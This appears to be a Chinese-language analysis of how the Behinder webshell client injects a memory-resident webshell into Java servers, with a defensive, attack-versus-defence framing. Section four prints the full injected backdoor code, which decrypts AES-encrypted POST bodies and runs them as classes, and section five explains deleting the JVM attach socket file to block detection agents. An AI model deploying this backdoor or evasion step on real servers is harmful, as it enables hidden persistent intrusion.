冰蠍客戶端在4月份的更新中增加了內存webshell注入,原理與之前的其他內存馬注入機制不同,后續版本又增加了內存馬防檢測功能開關,本文從代碼入手,詳細探究冰蠍內存webshell注入方式和防檢測的原理。界面如圖:
一、定位代碼
冰蠍客戶端有圖形界面,我們從圖形界面入手,定位代碼,觀察一下目錄結構:
net.rebeyond.behinder.ui.controller.MainController
很明顯可以看到是主窗口的路由,查看structure窗口或者ctrl+F12可以看到函數列表,有一個injectMemShell()
方法,從這里開始入手。
二、代碼分析
net.rebeyond.behinder.ui.controller.MainController#injectMemShell
多線程部分不管,最開始部分是獲取選中shell的系統信息,首先從本地數據庫取,取不到則發送baseinfo到webshell,去獲取版本信息(直接連接冰蠍的webshell默認也是發送baseinfo這個payload獲取基礎信息)。
獲取到版本信息后,拼接一個臨時目錄,用來存放被注入的jar包:,linux是/tmp/{隨機字符}
windows是c:/windows/temp/{隨機字符}。
下面就是注入的關鍵步驟,調用了三個函數:
根據不同的操作系統,獲取不同的jar包,這里的系統版本號可以從net.rebeyond.behinder.core.Constants
中獲取
查看對應的resource目錄,發現了被注入的4個jar包:
我們之間把tools_0.jar解壓出來,先丟進項目,方便需要的時候看代碼。繼續回到三個關鍵函數,uploadFIle()直接把惡意jar包上傳到目標機器上的指定路徑,然后調用loader進行加載。
紅框中的部分是冰蠍客戶端典型的和webshell交互的寫法,參數放入一個Map,對應payload類的成員變量,然后獲取
net.rebeyond.behinder.payload.java
里名字是Loader的class字節碼,通過asm修改class的字節碼,依次把Map中的值賦值給payload的中對應的成員變量,發送給webshell,webshell會執行payload中的equal方法,執行后返回結果。
net.rebeyond.behinder.payload.java.Loader
這里直接到net.rebeyond.behinder.payload.java.Loader
,也就是發送的payload部分:
payload的發送前,已經把libPath初始化好,值是前面說的jar包路徑。
用libPath初始化一個URL對象,調用URLCLassLoader.addURL()方法,把這個lib路徑添加到搜索路徑中,類似添加到環境變量,jvm通過文件名搜索到這個路徑下的文件。
接下來調用injectMemShell(),函數的幾個參數對應着在進行注入時圖形界面上一些選擇的結果,type是類型,只有agent,path是用來訪問內存馬的url,isAntiAgent是是否啟用防檢測。
shellService.injectMemShell(type, libPath, path, Utils.getKey(shellEntity.getString("password")), isAntiAgent);
繼續跟進代碼net.rebeyond.behinder.core.ShellService#injectMemShell
:
這里同上,對每個成員變量進行賦值,發給webshell,到受害者機器上執行,直接來看MemShell。
net.rebeyond.behinder.payload.java.MemShell
這部分代碼在執行的時候,已經是在受害者機器,由冰蠍webshell加載執行,程序入口是equals()函數:
首先把屬性jdk.attach.allowAttachSelf
屬性設置為true(作用是?),然后調用fillContext()方法,這個方法是用來初始化類的成員變量Request,Response和Session,因為在內存webshell不像jsp文件有全局變量,可以直接獲取到這些屬性,需要從context中獲取。
后面的分支可以看到,目前冰蠍只支持了agent,同時保留了filter和servlet兩種類型的接口,后續可能會更新。agent類型的關鍵函數是doAgentShell(),參數是最開始傳入的是否啟動防檢測。看代碼:
用反射調用了兩個函數:
com.sun.tools.attach.VirtualMachine#attach(pid)
com.sun.tools.attach.VirtualMachine#loadAgent(libpath, "path|password")
這兩個是java Instrumentation機制進行jar包加載的標准流程,attach到指定的pid,這里獲取的就是當前java進程的pid,然后把指定的jar包load到這個JVM進程中。加載完成后,會JVM自動執行jar包里面的agentmain
方法,並且把loadAgent的第二個參數所有內容傳入,作為agentmain方法的參數。
三、惡意Jar包分析
直接在jar包中搜索agentmain方法,找到net.rebeyond.behinder.payload.java.MemShell
類,實際上與客戶端中的MemShell代碼相同。直接看agentmain()方法
前面一大段代碼初始化了幾個變量:
- classes 全部已加載的類
- targetClasses 存放了不同java版本和中間件的request和response的類名
- shellCode 內存版冰蠍webshell代碼
關鍵部分是另一半:
遍歷已經加載的類,找到targetClasses中存放的類名。
從傳入的參數中取出要綁定的url和password,對shellCode進行格式化,並根據發現已加載的類名,修改shellCode中import的類名。
后面的一系列代碼是用javaassist把shellCode的代碼插入到ServletRequest#service
和ServletResponse#service
,weblogic是execute
方法之前,這樣所有的http請求都會先經過惡意代碼的判斷,如果是指定url的連接,則會由惡意代碼處理。這樣就完成了hook操作。
四、shellCode分析
源碼:
javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern="%s";
if (request.getRequestURI().matches(pathPattern))
{
java.util.Map obj=new java.util.HashMap();
obj.put("request",request);
obj.put("response",response);
obj.put("session",session);
ClassLoader loader=this.getClass().getClassLoader();
if (request.getMethod().equals("POST"))
{
try
{
String k="%s";
session.putValue("u",k);
java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();
Class cipherCls=systemLoader.loadClass("javax.crypto.Cipher");
Object c=cipherCls.getDeclaredMethod("getInstance",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{"AES"});
Object keyObj=systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),"AES"});;
java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod("init",new Class[]{int.class,systemLoader.loadClass("java.security.Key")});
initMethod.invoke(c,new Object[]{new Integer(2),keyObj});
java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod("doFinal",new Class[]{byte[].class});
byte[] requestBody=null;
try {
Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
requestBody=(byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
} catch (Exception ex)
{
Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder",new Class[0]).invoke(null, new Object[0]);
requestBody=(byte[])Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
}
byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});
java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});
defineMethod.setAccessible(true);
java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});
java.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});
c.newInstance().equals(obj);
}
catch(java.lang.Exception e)
{
e.printStackTrace();
}
catch(java.lang.Error error)
{
error.printStackTrace();
}
return;
}
}
這部分代碼比較簡單,實際上就是實現了冰蠍webshell的功能,代碼這么長主要是因為在內存中無法直接獲取很多類和方法需要調用反射獲取,不同的地方就是只有訪問的url中包含傳入的pathPattern時,才會執行。
五、防檢測分析
到這里整個流程分析下來,涉及到antiAgent
這個參數的只有net.rebeyond.behinder.payload.java.MemShell#doAgentShell
方法中有使用,主要是下面這部分代碼
if (osInfo.indexOf("windows") < 0 && osInfo.indexOf("winnt") < 0 && osInfo.indexOf("linux") >= 0 && antiAgent) {
String fileName = "/tmp/.java_pid" + getCurrentPID();
(new File(fileName)).delete();
}
這個代碼也很簡單,判斷如果是linux系統,並且注入內存馬時選擇了防檢測選項,就會刪除/tmp/.java_pid{pid}
這個文件,最開始分析的時候以為是這個文件是輔助jar包進行注入的臨時文件,注入成功后刪除。但是仔細思考一下loadAgent傳入的參數只有一個,是內存馬訪問的url和password組成的一個字符串:
loadAgentMethod.invoke(obj, libPath, base64encode(path) + "|" + base64encode(password));
也就是並沒有把是否啟用防檢測參數傳給jar包,那么jar包就無法判斷是不是要啟動防檢測,因此不可能是jar包來完成這個功能。只能是在這個MemShell
里面完成,那就只能是刪除文件這一行代碼完成的。
我們來嘗試看一下這個文件是什么:
- 首先重啟tomcat,清除掉之前注入的內存馬
- 查看/tmp目錄發現並沒有這個文件,
- 注入普通內存馬,不勾選防注入選項,再次查看/tmp目錄,發現出現了一個名為
.java_pid187116
的文件,用file命令查看發現是一個socket文件 - 查詢tomcat的相關信息,發現有一個socket連接指向這個文件。
- 直接把這個文件刪除,使用冰蠍再次注入,報錯注入失敗
因此可以得出結論,刪除這個socket文件,在服務重啟之前,后續其他的jar包都無法注入。但是在注入之前已經被注入的jar包仍然可以正常運行。
這種現場的原因涉及到JVM的原理和JVM在attach時進程間的通信,本文暫不討論。
六、結論
冰蠍采用Instrumentation + javaassist 對http相關類進行hook的方法,實現內存webshell,優點:無新類加載,兼容性好。缺點:需要上傳一個jar包,動作偏大。
利用Instrumentation底層進程間通信在linux上依賴一個socket文件的特點,通過刪除對應的socket文件來阻止后續的檢測jar包注入,達到防檢測的目的。
從最開始的Godzilla客戶端的注入內存webshell功能,到現在冰蠍hook注入,內存webshell攻防對抗已經開始激烈起來,最初Godzilla使用的是添加servlet,rebeyond使用的是添加filter,然后出現了一些使用注入jar包檢測新加載class進而檢測內存馬的項目,到冰蠍不加載新class,而是使用注入jar包hook方法實現內存webshell,且開始嘗試防止其他jar注入,加載的class的包名混淆繞過檢測等等。
攻與防的藝術